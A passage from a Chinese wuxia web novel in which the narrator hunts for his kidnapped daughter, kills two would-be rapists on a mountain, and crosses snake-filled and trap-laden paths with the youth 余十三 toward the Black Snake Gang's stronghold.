我看着门外茫茫不见边际的黑夜,那刺蛇汉子的身影已遁入夜幕中,不见了踪迹。我问“为何清泉镇的百姓要遭殃?” 老者说“黑蛇帮的手段极其凶残,你在这清泉镇上杀了他们的人,只怕不久之后他们便要回来寻仇了。到时候,你拔腿走人,他们便会对清泉镇许多无辜百姓发泄怨气了。” 老者无奈摇着头,往柜台后走去。 我问“你要去哪里?” 老者说“子时都过了,老夫自然是要去睡一觉,天一亮老夫还要设法逃命去呢。”他打着哈欠,说道逃命之事似乎全然不被他放在心上。 “哎……若是明日那韩千浪来了,不知镇子上多少女娃娃又要遭殃了。”老者说着,身影渐渐沉到了柜台之下。 难道真的没有别的办法了吗? 我心中一横,说“好吧,我不走了。” 老者又从柜台下钻了出来,他看着我,眼神之中颇有疑惑之色。他说“老夫看你身手不凡,绝非无名之辈。不知小友你如何称呼?” 我深深吸了一口气,重重地说“姬旦丙!” 老者神色突变,精神焕发,从柜台后快步跑了出来,围着我左转一圈,右转一圈,眼睛却始终直勾勾地盯着我。 我说“你看什么?!” 老者道“你就是当年挑得五大门派起兵造反的那……那盘菜?!” 我重申“我叫姬旦丙。” 老者连连点头,笑道“是也,是也。老夫失言了。据江湖传闻,当年你在陆家山庄以一杀千,可谓是震惊江湖啊。后来,后来……江湖上便再也没了你的消息,这些年你去哪了?” 老者笑着,从怀里掏出那本江湖轶事录,快速翻来一页,顺手提笔起来,盯着我,满脸期盼之色。 我说“你问这些做什么?” 老者嘿嘿一笑,说 “姬大侠在江湖上名号极响,老夫今日有幸得见,斗胆请大侠讲讲这些年的经历,老夫所能记得一二,把姬大侠的生平事迹完善了,只怕这本江湖轶事录会更受江湖人的欢迎。” 江湖轶事录上竟然还有我的事迹? 我顿时好奇心大起,凑到那老者书前一看,之间黄白色的直面上,一道标题赫然这道 “说世间奇闻不过如此,看一盘好菜统御江湖!” (本章完) (教育123文学网) 第一百七十七章 黑影 1. 无论江湖轶事录上记载了什么,在这个时候都已经无法引起我的兴趣。 因为,我忽然间意识到一件事,一件非常重要的事。 这件事已经让我按捺不住自己激动的情绪,一把抓住那老者的衣服,问:“你方才说,采.花堂是做什么的?” 老者被我突然的激动吓到了,他身子一抖,眼神略带惊恐,说:“拐,拐卖少女......” 拐卖少女...... 那有没有一种可能,是他们掳走了纾瑶。 虽然,在这之前,我和小月与黑蛇帮之间素无瓜葛,甚至我们都不知道江湖上还有黑蛇帮这样一个门派。但是,一个贩卖少女的组织,他们掳掠走一个孩子,又何曾会考虑与你有没有瓜葛。 我问:“黑蛇帮有没有可能掳掠四五岁的孩子?” 老者思索片刻,说:“这倒是从未听说过,不过……只要是可以挣钱的生意,别说是个四五岁的孩子,即便是六七十的老妪,他们也未尝不会下手。” 或许……这会是一条线索,一条可以找到纾瑶的线索。虽然这个线索看起来并不是那么可靠,但是总也好过我在这个茫茫不可预知的江湖上如无头苍蝇一般地寻找。 我说:“黑蛇帮在什么地方?” 老者刚想开口,忽然脸上略过惊诧,他说:“你要去黑蛇帮?” “不错!”我重重点头,说,“我女儿在月前无故失踪,如今音信全无,我想去那里看看,或许……”我没有再说下去,因为连我自己都觉得那只是一种或许,一种看起来便十分渺茫的希望,但即便是万分之一的可能,我也必须亲自去看看。 老者连连摆手,说:“使不得,使不得!” 我急道:“有什么使不得?” 老者显得很慌乱,他说:“你可知道那黑蛇帮里是机关重重,高手林立,你虽然武功高强,一人之力或许可以闯入黑蛇帮内,但也断然没有全身而退的可能。这可是一条必死的绝路啊!” 绝路又如何? 若真的可以找到纾瑶,即便是绝路,我也要去闯! 我说:“你只管告诉我黑蛇帮的所在,其他的事你不用管。” 老者怔怔地看着我,问:“一定要去?” 我说:“必须要去!” 老者叹息一声,走到门前,手指着西方,说:“从这里出镇子,五十里处,有一座蛇头山。山上树木极为繁茂,黑夜里模糊不可见,白日间远看可发现蛇头山南麓有一条隐蔽的小径,那是上山的唯一一条路。” 我向那老者郑重抱拳,说:“多谢。”说罢,转身出门。 正要走时,老者忽然喊住我,说:“那条路看似平坦无奇,但四周却有千万条毒蛇盘踞,那些蛇剧毒无比,一旦被它们咬到,便会毒发身亡。你可要多加小心啊!” 我回头冲他微微一笑,说:“多谢提醒。” 再要走时,那老者又喊住了我,说:“老夫这里有一瓶驱蛇散,乃是用捕蛇人的血加 以名贵药材所制,姬大侠要不要来一瓶?” 我心头一热,说:“感激不尽!”正要伸手去拿,那老者却笑着将药瓶收了起来,伸出另一只手,淡淡地笑道:“十两银子!” 虽然,我做过山贼,但是我从不愿强取豪夺,尤其是欺负一个手无寸铁的老人。 然而,这次我却不得不这么做了。 2. 我离开春华酒肆的时候,老人正趴在门口大喊:“你会后悔的!” 我不会后悔! 手上攥着抢来的驱蛇散,翻身骑上抢来的马。为了女儿,我可以去抢夺一切。 磕擦擦的马蹄声在这个寂静的深夜里显得尤为清晰。我心里焦急地盼望着,希望这一次自己可以如愿找到纾瑶。若上天肯眷顾我一次,我愿意赔掉我这一生所有的运气。 虽然这一生我都不怎么走运。 离开清泉镇,半个时辰之后,平坦的道路开始变得有些陡峭。乌黑的碎石满地都是,马儿行进得越来越费力。 渐渐的,马儿停下来步子。它终于也不能忍受着疲惫而坚信的奔走,彻底地停了下来。任凭我怎样去驱使它,它都不肯再挪动半步。 我翻身下马,听着它疲惫的喘息声,说:“你还能坚持吗?” 马儿似乎听懂了我的话,它摇了摇头,褐色的鬃毛被甩得开会飘荡。 既然如此,我便放过它吧。 我说:“你可以放弃,而我却不可以。”说罢,我踩着满地坚硬的碎石,继续向前行走。 胸口的伤又传来一阵阵的剧痛,脚下的碎石里,每隔几步都会有些棱角尖锐的石块,它们像是地面上生出的尖刺一般,硌得脚底生疼。 我从未走过这样的路。我咬牙坚持着。也只有坚持着。 3. 艰难地走了几百米,胸口的疼痛与脚底的疼痛再也让我无法忍受,噗通一声坐在地上。 这一屁股蹲下去,怎料到会不偏不倚地坐在一块尖石上。 一瞬间,我无比清晰地感受到了来自双脚和胸口之外的第四处痛点。它竟然缓释了另外三处传来的阵阵疼痛。 我慌忙站起来,揉着自己的屁股,有一种怒火无从发泄的憋屈感。 正在我想要拔剑将那石块碎尸万段之时,我忽然在远处的黑暗中听到一阵的声响。 这附近有人! 一定就是黑蛇帮的人!我几乎可以断定。不然,在这样的深夜里,又有什么人敢涉足这凶险异常的蛇头山?! 我暗运真气,施展轻功,无声无息地靠近那声响的来源。 黑暗中,我果然看到两个人形的黑影在鬼鬼祟祟的晃动。 他们走着走着忽然又停下了脚步。我心头一紧,以为自己形迹暴露,慌忙调转身子,跃到树上躲了起来。 一个略瘦的黑影左右张望,道:“大哥,这次我们回山上,不知道堂主会不会赏我们。” “赏我们?”另一道略胖的黑影颇为不屑,他冷哼一声,道 ,“这些年堂中的兄弟四处奔波,不知担了多少风险,你可曾见他赏过谁?!” 瘦黑影沉吟了片刻,说:“没有。” “那便是了!”胖黑影道,“赶快回去交差就是了,别奢望那些不切实际的东西。” 两个黑影同时叹息一声,又开始向山上走。走了没几步,瘦黑影又停了下来。 胖黑影有些不耐烦了,喝道:“你又怎么了?” 瘦黑影道:“大哥,横竖我们也是白忙活一场,这么俊俏的娘子,何必便宜别人,倒不如我们兄弟俩趁着夜色,在这里先享用一番可好?” “你不要命了!”胖黑影听起来十分紧张,他说,“若被堂主知道了,还不要了你的小命!” “你我不说,堂主怎么会知道?”瘦黑影说。 胖黑影将肩头扛着的什么东西放在地上,道:“你怎知这小娘们儿不会说?即便是这小娘儿不说,山上的隐婆子验身的时候,若发现了这女子不是处子之身,这事一样也会败露。” “大哥!”瘦黑影说,“你如此畏首畏尾,难道我们兄弟要白白下一辈子苦力不成?” 胖黑影说:“那也不能拿自己个儿的性命开玩笑!” 瘦黑影摆了摆手,说:“大哥不必多虑,小弟有个万全之策。” “万全之策?”胖黑影的声音开始有些激动,他说,“快说来听听!” 瘦黑影道:“据小弟所知,清泉镇的那四个小子只不过是道听途说了铁牛庄有这样一个绝世的女子,并未亲自去看过,便把这个消息透漏给你堂主,堂主因此才会派我兄弟二人前去将这娘们儿掳了来。也就是说,至今为止,整个采.花堂也不过只有我们兄弟二人见过这娘们儿的真容。” “那又怎样?”胖黑影有些疑惑。 瘦黑影稍稍压低声音,说:“咱兄弟俩把这小娘们儿享用玩之后,再将她毒哑弄聋,她自然不能说出今夜之事。” “那不行!”胖黑影说,“兄弟你别忘了,还有隐婆验身……” 瘦黑影打断道:“不怕,不怕!稳婆即便是发现她不是处子之身又能如何?我兄弟二人只要装作一无所知,天知道是谁破了她的处子之身啊!” 瘦黑影开始奸笑。胖黑影沉默了,似乎仍在犹豫。 这时,他们脚边被胖黑影当下的那东西动了动,发出一声轻微的呻吟。 那是女子的声音。 胖黑影一拍手,叫道:“娘的!如此尤物看得老子也是心痒难耐。干脆一不做二不休,就依兄弟所言。正所谓,牡丹花下死做鬼也风流,今夜之后,就算明日被堂主弄死,老子也无怨无悔了!” 瘦黑影见他大哥终于同意了他的提议,高兴地连蹦带跳,叫道:“大哥放心,一定死不了,一定死不了!” 身在高树之上的我,听着这两个无耻淫徒的对话,气得胸口几乎炸裂。 我攥紧手中的剑,心想着,若这两个淫贼敢动那女子一根手指,我定然跳下去一剑杀了他们,绝不让这两个淫徒浪子的奸计得逞! 第一百七十八章 毒蛇 1. 在我下定决心之后,还未付诸行动之前。两个黑影之间便已经起了争执。 在瘦黑影一番苦口婆心,终于劝导胖黑影同意与他一同作案之后。瘦黑影便迫不及待地将一双罪恶的手,伸向了地上的女子。 手伸到一半,却停了下来。因为胖黑影同时出手将他拦了下来。 “你干什么?”瘦黑影正欲作案却突遭拦截,语气生硬而急躁。 胖黑影说:“我是大哥,自然应当是我先来!” 瘦黑影分毫不让,说:“你是大哥,应当让着小弟。” 胖黑影道:“长幼有序,礼法如此,怎能轻易违背。” “狗屁!”一直言语颇为尊重的瘦黑影突然骂了出来,他叫道,“我们做这行勾当的,还讲什么礼法!无论过往还是将来,小弟对大哥言听计从,但今日……大哥,兄弟就要争这个先了!” “你执意如此?”胖黑影问。 瘦黑影答:“我决不肯让。” “既然如此……”胖黑影沉吟了片刻,说,“那就按老办法,你我兄弟一决高下!” 瘦黑影长叹一声,说:“好!” 我听着两个人的对话,心中一阵窃喜,两个淫贼自相残杀,待他们打得不可开交之事,我便可以轻易将那可怜的女子救走了。 然而……当我以为这将是异常残酷的生死较量时,其最终的结果却大大出乎了我的意料。 因为两人的对决却远不是我期待的样子。 残忍的夜晚,残忍的月色下,残忍的蛇头山上,两个残忍的淫贼进行了一场并不残忍的较量。 他们彼此冷哼一声,以装声威,并排站立,突然同时脱下了裤子,然后两道亮晶晶的水柱便从二人半截身子处猛地喷了出去。 两个黑影发出一连串用力的嚎叫,似乎都是拼劲了全部地力气。两道水柱奋勇争先,越滋越远,直到到达了一个再也不能超越的距离,陡然颓落,缓缓地收了回去。 两个黑影同时打了一个冷战,各自收起姿势,长长地舒了一口气,其中的疲惫显露无疑。 “哎......”胖黑影又是一声长叹,感慨道,“老了!遥想当年,迎风一丈,不输韩千浪,怎料如今,无风滋两尺,败给了你这个憋头孙!” 瘦黑影也不气恼,反而越发得意,搓着双手道:“大哥承认,小弟就不客气了。” 他狞笑着调头,猫着腰,冲着地上的那女子缓缓靠近。 住手! 眼见着那个淫贼欲行不轨,我忍无可忍,从树上大吼一声,一跃而下。 脚底再次接触到那令人无法忍受的尖石,又是一阵骨骼碎裂一般的疼痛。我强忍着,缓缓抽出青光剑,青光剑在冷色的月光下发着青光。 胖瘦两个黑影被我的突然出现吓懵了,两个人怔怔地杵在地上,有种不知所措的慌乱。 然而,他们很快便反应了过来,彼此相视一眼,道:“来者何人。” 瘦黑影骂咧咧地说:“他娘的,扫了老子的好兴致,活得不耐烦了!” 说罢,他从腰间拔出一柄尖刀,刀刃一尺多长,映着月光竟也显得十分冷峻。他大步向我走来,不停地晃着手里明晃晃的尖刀,大有要将我剥皮挖骨的气势。 我不禁冷冷一笑,在我眼中,那个瘦黑影即将变成一具死尸。他也应当如此,这样的恶人死在我的剑下,绝不值得我泛起一丝一毫的怜悯之心。 “兄弟小心!”胖黑影一声惊呼,却没能瘦黑影送死的步伐,同样也不会阻止我一挥而下的青光剑。 青光潋滟,发出阵阵轻吟,血色喷洒,传来一声哀嚎。 瘦黑影轰然倒在了地上,他便躺在了带着尖刺的碎石块上,这一次他再也不会感受到尖锐的石刺入骨的痛感。他瞪着眼睛,满脸都是不敢置信的惊恐。 胖黑影满脸骇然,他看着地上躺着的尸体,目光中流露出痛苦之色。 然而,他并没有想要冲上来与我拼命的意思。他不停地向后退着,颤声地问:“你,你究竟是什么人?为何要杀我兄弟?” 我大义凛然地回应:“惩奸除恶,何须理由?” 胖黑影手中一握,轻微的动作仍旧没有逃过我的眼睛。 一声刺耳的拔刀声,胖黑影猛然冲了过来,他一跃而起,尖刀直刺我胸口。这一招来势汹汹,只可惜速度太慢了。 胖黑影尤为靠近,他便以被青光的剑气划破了喉咙。他临死之前,仍旧十分不甘地看着地上的那个女子,喃喃地说:“早知如此,老子便多喝些水了!” 2. 两个人就这么死了。 我既没有夺人性命的懊悔,也没有惩奸除恶的快感。 我反而很疑惑,不明白自己的心性到底是何时开始有了变化。变得对生命有些冷漠,对生死越来越淡然。 大概是,人经历的事情多了,自然而然地都会有变化罢。 我收起青光剑,走到地上那女子的跟前。她似乎是被两个人施了什么办法弄晕了,直到现在依旧是如死人一般地一动不动。 我将她翻过身来,月光照在她白皙的脸上。那张脸的确很美,长发温婉,肤若凝脂,一弯细长的眉毛画得楚楚动人。 只是......不知为何,这张脸上,说不出什么地方让我莫名觉得有些熟悉,一种十分强烈的似曾相识之感。 我正疑惑地审视着。突然,那一弯细长眉毛下的两道缝隙陡然睁开,露出一对炯炯有神的眼睛。 我吓了一跳,慌忙将她仍在地上,向后一矬。 “哎呀!” 那女子......不,是个男人!那分明就是一个男人的声音! 我心中暗叫不妙,莫非中了什么人的奸计?我连忙将剑横在胸前,与那人拉开距离,喝道:“你是什么人?!” “哎呦!”那人满脸痛苦,好看的脸让他扭曲得不成了样子。他一只手揉着脑袋,说:“你轻一点啊,疼死了!” 声音也很熟悉。 我更加疑惑,再问:“你,你到底是谁?” 那人瞪着我,伸手在腮边一扯,撕下一张人脸来。 “余十三!”我已经看清了那张脸,那张被人.皮.面.具覆盖下的脸,就是余十三! 我说:“怎么会是你!” 余十三面无表情,抿着嘴,也不说话。 我将剑收了起来,走到他跟前,问:“你为何要打扮成这个样子?”我抬头看了一眼黑茫茫的蛇头山,又问:“你想混入蛇头山?” 余十三不再沉默,他点了点头,说:“是!” 我问:“你去蛇头山做什么?” 余十三默然地站了起来,目光坚毅而愤怒,说:“我要去救我妹妹。” 余青儿? 我问:“她怎么了?” 余十三说:“你离开青崖谷的那天,有一伙儿人闯入了青崖谷,烧了我的房子,掳走了青儿。” 我问:“是黑蛇帮的人?” 余十三点了点头,说:“我打听过,为首的那人叫韩千浪,是黑蛇帮采.花堂的堂主。”说完,余十三的脚步开始挪动,向着黑茫茫的蛇头山上。 我喊住他,说:“就凭你一个人,恐怕到不了蛇头山就已经死了。” 余十三停下脚步,沉默了片刻,说:“那又怎样?即便是死,我也要去救青儿。她还在等着我!” 少年又迈开他那坚毅的步伐,前面是危险重重的蛇头山,脚下是令人痛苦不堪的尖石,他的每一步却都不容置疑。 我说:“我替你去!” 余十三脚步又停了下来,他转身看着我,眼中有渴望却也有犹豫。许久之后,他终究还是摇了摇头,说:“这是我自己的事,也是我和青儿的命,我不想让别人替我冒险,更不愿亏欠任何人的恩情。” 他又要转身,我上前一把将他拉住,说:“我此行本来就是要上山去打探我女儿的消息。” 余十三怔了怔,问:“你,你女儿是被他们抓走的?” 我一阵茫然,说:“我不知道,但或许......我想去看看。” 余十三微微一笑,说:“多谢好意。我自己可以去。” 我真的不明白,这个少年的心里到底在执着着什么?我这一去尚且危险重重,甚至是九死一生,但他却是无意地死路一条。 我说:“你下山去等我,明天傍晚之前,我一定会把青儿救出来。” “等?!”余十三看着我,说,“我不能等!青儿是我在这个世上唯一的亲人,我宁可死在去找她的路上,也不能忍受一时半会儿的等待。” 3. 余十三的身上又我所不能阻止的执拗。 这份执拗,我并不喜欢,却十分欣赏。 我决定和他一同上山,起码当他面临危险的时候,或许我可以救他一命。 余十三并没有再说什么,他只是默默地向山上前进。脚下的尖石刺得我脚底剧烈的疼痛,但我当我去看余十三时,他好像浑然不觉一般,脸上依旧是那种不容置疑的坚持,只是双拳紧紧地攥着,不停地颤抖着。 天将亮起。 繁茂的树林中,一条小路隐约浮现。 这便是春华酒肆的那个老者所说的那条路一条危险重重的路,也是唯一的一条路。 我再次将余十三喊停。他回过头,脸色有些苍白,细密的汗珠布满了额头,但在他的脸上我仍旧看不到一丝一毫的痛苦流露。 “怎么了?”余十三问。 我从怀里掏出那瓶抢来的驱蛇散,说:“前面这条路上毒蛇密布,我这里有一瓶驱蛇散,你也涂上一些吧。” 余十三凝望着我手中的药瓶,说:“多谢。” 我将药瓶打开,一股刺鼻的恶臭扑面而来,让人忍不住作呕。我强忍将黑褐色的药粉倒在手上,涂遍全身,又将剩下的多半瓶交给余十三。余十三学着我的样子,在身上涂满了药粉,有些疑惑地问:“这药......真的可以驱蛇?” 我说:“当然可以,我是从一个酒肆老板那里......”一个“抢”字刚要出口,我看见余十三少年的脸庞,忽然犹豫 了,我实在不愿意让这个“抢”字毁了我在一个孩子心目中的良好印象。 余十三更加疑惑,问:“什么酒肆老板?” 我笑着摇了摇头,说:“没什么,他是个见识广博的人,他的药自然有效。” 余十三闻了闻药瓶,欲言又止,终究是摇了摇头。 我揣着满满地信心大步走向蛇头山。太阳已经缓缓升起,金灿灿的光芒给大片墨绿的树林镀上了一道金边。然而,这条隐蔽在树林之中狭长的小路,却依旧暗如黑夜一般,丝毫不见亮光。 小路之上,是松软的泥土,踩在脚下十分舒适,让刚刚从硌脚的碎石路上走过来的我忍不住想要躺着这松软的泥土上好好地睡上一觉。然而,四周的树木草丛间,时不时传出“沙沙”“嘶嘶”的响声,十分恐怖。即便是明知道自己身上涂抹了驱蛇的草药,但依旧禁不住地感到一阵毛骨悚然。 余十三抬起袖子,凑到鼻子边上闻一闻驱蛇散的味道,脸上的疑虑愈加凝重。 我问:“你怎么了?” 余十三说:“我感觉这驱蛇散......或许是假的。” “假的?!”我心头一凛,道,“你,你怎么知道是假的?有何依据?” 余十三犹犹豫豫,又闻了闻自己身上的味道,说:“这好像是......猪粪的味道!” 猪粪?! “绝不可能!”我笑道,“你小小年纪懂什么。正所谓良药苦口,好的草药味道大都有些古怪,你......” 我话还未说完,忽然感觉身后传来“嗖”一声,似乎有什么东西正以极快地速度向我接近。我慌忙转身,用剑鞘一挑。那射来东西竟然松松垮垮,被我轻易地挑开了。 是蛇! 我大惊,一颗心几乎跳出喉咙,只感觉一道凉气从脊背中直拔头顶。 然而,我还未来得及做出什么反应,幽暗的树丛中又是“嗖嗖嗖”的几声,竟然有十几道黑影齐齐向我飞来。 我慌忙拔出青光剑,青光闪动,连成一道青色的剑盾。腥臭的蛇血喷溅得我满身都是,我一面将余十三护在身后,一面挥动着青光剑劈斩着不断向我弹射而来的毒蛇。 “这个该死的老头子!”我愤怒地吼着,不停地挥剑,使得我身上猪粪的味道弥漫,更让我拱火。 余十三惊叫着:“当心脚下!” 我低头一看,竟是数之不尽的毒蛇从草丛中缓缓地爬了出来,将我和余十三团团围在其中。 毒蛇吐着信子,发出“嘶嘶”的声响,竟如同晚风吹过竹林一般,连成一片。 怎么办?! 汀兰古穴.里,那十一式剑招在我脑海中如风一般地过了一遍,却没有一招可以对付着这些源源不断向我涌来的毒蛇。 我再次感觉到了绝望。一种前所未有的绝望。 突然,我感觉左手边一空,一直被我握在手中从未拔出过的血芒剑被一股莫名的力量抽了出去。 猩红光芒一闪而过,发出尖锐而疯狂的剑鸣。 少年余十三的眼中闪着红光,他双手握着血芒剑向着地上疯狂地砍着。黑色的蛇血喷溅,遮不住血芒的红光。 令人惊讶的一幕就在血芒剑的劈斩之下发生了。 原本是不断向我们靠近的毒蛇,竟然纷纷调头,似乎是逃命一般地钻进了漆黑的草丛。余十三又举起剑来,向着空中弹射飞来的毒蛇砍去。 一剑,两剑,三剑......十剑九空。 他不懂武功,更不会剑法,完全是对着空中胡乱地挥剑,被他杀死的毒蛇也是屈指可数。 但是,血芒剑猩红的光辉依旧不可阻挡地压制着青光,周围的血腥之气愈发浓烈。余十三也陷入了疯狂之中,他大声地吼着,似乎是在发泄着内心强烈的愤怒。 “住手!”我死死地攥住余十三的手。他咬着牙,满脸狰狞,双手仍旧在不停地挣脱着。 所有的毒蛇都隐入了黑暗之中,四周寂静无声,那些“沙沙”“嘶嘶”的声响再也没有传出来。只有少年的牙齿间不停发出的“咯吱咯吱”的声音。 我从他手上夺下血芒剑。手触到剑柄的一瞬间,一股沸腾的血液从胸口之中涌出,让人犹感疯狂。我努力地压制着那股莫名的疯狂,几乎用尽了全身的力气。 猩红色的剑刃闪烁着的光影渐渐地暗淡了下去,少年狰狞的脸上也逐渐地恢复了平静。 血芒剑! 我问余十三:“你,你还好吧?” 余十三满脸茫然,他怔怔地看着我,又看了看我手上的血芒剑,说:“刚刚......是怎么了?” 他发疯了,他竟然全忘了!我说:“没什么,什么也没发生。” 我将血芒剑插入剑鞘之中,猩红的光彻底地消失了。 突然,四周再次响起那令人惊悚的“嘶嘶”声,伴随着红光的隐去,那些毒蛇似乎同时在漫长的冬夜里苏醒了一般。 我慌忙抽出血芒剑,红光荡漾,四周陡然寂静一片。 血芒剑...... 连毒蛇都害怕的血芒剑! 第一百七十九章 异象 1 很多年后的我会时不时地幻想,如果当年我初下雁荡山时没有遇到李小谦,如果我不曾结识白景行,如果在临安府外小镇上的那夜里我不会救下赵构,如果我断然拒绝去做武林盟主,如果我不会遇见余十三 如果,那些如果都是真的,我这一生会不会过得平凡一点?我是不是就不必经历那许多的痛苦,平平淡淡地度过一生? 然而,人一生中最没有意义的就是这些猜测。因为,那些已经发生了的事情根本就没有办法从头来过。 幻想只会让人越来越觉得痛苦。 2 走出这条毒蛇密布的小路的时候,已临近了晌午。出现在我们眼前的是一条平坦而宽阔的山路,而这条山路的尽头却连着一片茫茫的树林,依旧不见黑蛇帮的影子。 这一路上,血芒剑再次向我展示了它那强大、诱人的威力。从前,我只知道它会让持剑的人发疯,却从来不知道它竟还会让敌人如此地害怕。 即便那敌人是看似不可战胜的一群毒蛇。 余十三一直盯着血芒剑,直到走出那条毒蛇密布的小路,他才由衷地发出一声感慨“这把剑好厉害。” 它的确很厉害。我将它攥住手上的时候,无时无刻不感受到它所带给我的疯狂。那让人几乎无法抗拒的疯狂。 我将血芒剑隐入剑鞘之中,说“它很厉害,但它却是一把邪剑。” “邪剑?”余十三疑惑,随即淡漠一笑,说,“从来只知道人有好坏,却还是头一次听说剑也有正邪之分。” 我微微一笑,说“这世上你不知道的事还有很多。等你长到向我这么大的时候,就会知道更多的事。” 余十三颇为不屑,说“起码我不会把猪粪当做灵丹妙药。”说罢,他头也不回地继续前进。 风一吹,撩动衣襟,那一股令人作呕的臭味儿再次钻入我的鼻孔。 那个该死的老头子。 这个可恶的臭小子。 3 蛇头山上果然是危险重重。 刚出毒蛇密布的小路,我本以为接下来便可以顺利地走上蛇头山,进入黑蛇帮。然而,却没有想到这看似平淡无奇的山路中却隐藏了数之不尽的陷阱。 余十三刚刚迈出几步远,便一声惊呼,身子一坠,沉出了我的视野。 原本是平坦的地面上却陡然出现了一个直径约一尺有余的洞。我慌忙跑过去,只见这个洞竟如同是水井一般深不见底。 我喊着余十三的名字,洞底发出一声痛苦的呻吟。 我问“你怎么样?” 余十三喊道 “我的腿,我的腿!” 我大惊,心想,莫非洞中有什么要命的机关暗器,便焦急地询问“你的腿怎么了?” 余十三说“洞太窄,我的腿伸不直了。” 这个臭小子。我长舒了一口气,向四周寻觅一番,正好看见不远处的地上躺着一根长长的树枝。 我说“你等着,我这就救你上来。” 说罢,我快步向那树枝跑去,没想到才跑了几步,突然觉得脚下一空,身子便不受控制地下坠。 又是一个陷阱! 我急忙蹬住洞壁,止住下坠,使出轻功盘旋跃出洞口。落在地上之后,我看着离我只有几十米远的树枝,却再也不敢上前一步。 “不,不好!” 身后的洞口中传来余十三一声惊叫,我急忙询问“怎么了?” 余十三焦急地喊道“下面都是泥沼,我,我正在往下沉。” 我百感交集。眼前是不可预知的陷阱,身后是已陷入危险之中的余十三。突然,我想起李小谦曾经对我说过一段有关于轻功的描述。 他说“轻功也叫酷跑,其秘诀就是蹦得高,跳得远,跑得快,落得稳。只要排除一切杂念,目视前方,便可以乘奔御风,飞天遁地。你若总想着眼前的艰难险阻,即使你想去的地方近在咫尺,也永远都是你不可到达的远方。” 排除一切杂念,目视前方!忘掉眼前的艰难险阻! 我紧要牙关,眼睛直直地盯着那根树枝,一跃而起,脚下步履轻快,耳畔风声骤起。 眨眼之间,我便已跃到了那根树枝之前。 但是,这世间你最意想不到,也最令你恼火的事便是,你下定决心,鼓起勇气,越过了所有的艰难险阻所飞向的目标本身,就是一个坑! 我便掉进了那个坑里。 好在我反应奇快,再使轻功向上一纵,跃出坑洞。两次遭遇陷阱的我再也不敢迟疑半分,接连施展轻功,返回了余十三坠落的洞口前。 余十三的声音再次从洞中传出“我已经陷进半截身子了!” 我急忙将那树枝伸进洞里,喊道“抓住它!”很快,树枝下传来一股强劲的拉力,我抓着树枝的另一端用力向上拉扯着。 费了九牛二虎之力,终于余十三的脸又回到了我的视野之中。 他死里逃生,脸上尤带着惊慌。毕竟还是个十几岁的孩子,他总也不可能始终保持着那份淡然无畏。 我拍着他的肩膀,问“你还好吧。” 余十三轻声地说“我又欠你一条命。”他抖了抖腿上紫黑的淤泥,继续说“我一定会还给你的。” 我说“我救你不是为了让你还我。” 余十三没有再说什么,但我看得出,他眉宇间凝着坚持。他迈开步子,想要继续上山,我慌忙将他拦住,说“不能再走了!” 余十三问“为什么?” 我指着我刚刚险些掉下去的两个陷阱,说“这条路上到处都是陷阱,再走下去定然会没命的。” 余十三说“难道怕没命,就要放弃吗?青儿怎么办?” 我看着眼前这条宽阔的,平坦的山路,心中也是一阵焦急。毕竟蛇头山这条路关系到的不仅仅是余青儿的性命,更可能是纾瑶的线索。 余十三忽然喊道“我有办法了!” 我问“什么办法?” 余十三从地上将那根树枝捡起来,又搬起一块石头,在身上扯下条根布条,把石头绑在布条上,端着树枝冲我兴奋地喊道“走吧!” 走? 我看不懂他究竟要做什么,问“这有什么用?” 余十三端着树枝向前一扔,大约抛出去一米多远。石头砸在地上发出“咣”的一声响,余十三微微一笑,跳到石头旁边,稳稳地落在地上。 那里是坚实的地面,没有陷阱。 真是个聪明的少年。 我感慨着,在他的身上,我莫名看到了李小谦的影子。许多年前,当我遇到难题的时候,他也总是能想出各种各样的妙招来一一化解。 虽然有时候,那些方法也不是十分灵验。 我跳到余十三跟前,余十三兴奋地冲我笑着,似乎有些得意。他又举起树枝,将它扔了出去。忽然,石头砸向的地面“轰”的一声塌陷,露出一个洞口。 余十三牢牢地抓着树枝的另一端,将石块拖了回来,然后扔向另一个地方 4 就这样,我们一步步地向着黑蛇帮靠近。又过了两个多时辰,我门才艰难地走出了这条满是陷阱的山路。 横在眼前的是一大片茂密的树林,四周树木密密实实,紧紧贴合着,古树参天,苍翠挺拔,枝繁叶茂,将太阳遮得严严实实。密林深处潮湿阴暗,瘴气丛生,我只觉得眼前似是蒙了一层白纱,只看得见一两米之外的事物。 余十三扔掉了他的“杰作”,石头落在地上,又砸开一个陷阱,在完成了它的使命之后彻底沉入了深不见底的洞中。 余十三怔怔地看着,忽然对我说“我这算不算救了你一命?” 我一愣,问“什么?” 余十三说“这么危险的一段山路,你若自己去闯,只怕早已经掉进陷阱里了。是我帮你过来的。” 我依旧十分不解 ,问“你究竟要说什么?” 余十三继续说“你方才救我一命,我帮你通过这段山路,是不是就算我还了你的救命之恩?” 他竟然是这个意思。 我不禁觉得好笑,说“我本来就没有想要让你还的意思。” 余十三说“可我必须要还。” 我问“为什么?” 余十三说“我娘从不让我欠别人什么。”他看着我,十分严肃地说“尤其是欠了别人的情,就算是用命也要还。” 我看着这个奇怪的少年,他的确曾经不止一次地说过,他不愿欠别人的恩情。可是,他又怎么能够知道,这个世上有很多东西,是用命都无法偿还的。 这是一片幽深的密林,其中瘴气弥漫,四周繁茂的枝叶将阳光遮挡得严严实实。越向深处行走,越是觉得前路茫茫不可预知,似乎每一棵书上随时都有可能飞出什么东西,在不知不觉间夺走了我们的生命。 我本来还颇为奇怪,黑蛇帮在江湖上作恶多端这么多年,即便是他们贿赂官府,上可通天,难道就真的没有仁人义士出面阻止吗? 但如今看来,即便是真的有什么人想要荡平黑蛇帮,只怕也难以通过这一道又一道危险。 这么幽深的密林中,没有毒蛇猛兽。四周只有一丝丝“沙沙”之声,余十三冲着弥漫的瘴气中轻轻地喊了一声,声音没入密林,再无回应。 我躬下身子,想要通过以往人经过时留下的一些蛛丝马迹,寻找走出这片密林的路。无奈这片密林却仿佛从来没有人涉足过一般,松软的泥土上,不见半分脚印,哪里还能寻得见出路? 一股沉沉的恐惧油然而生。或许,是我从一开始就低估了黑蛇帮的可怕,由此毫无准备地深入,不知不觉间已陷入一片未知的密林之中,四周瘴气环绕,林木繁茂,不见天日,无法辨别方向。我抬起头向上望去,只见得周围树木苍翠挺拔,极目之内树干笔直圆润,没有半根伸出来的枝干,根本无法向上攀爬。 一个时辰过去了,我和余十三在这片密林中兜兜转转,莫说是上山的路,就连来时的路也找寻不到了。那些被我们一路走来留下的脚印,仿佛是被什么人刻意地抹去了,连一丝一毫都看不到。 “哗啦啦,哗啦啦” 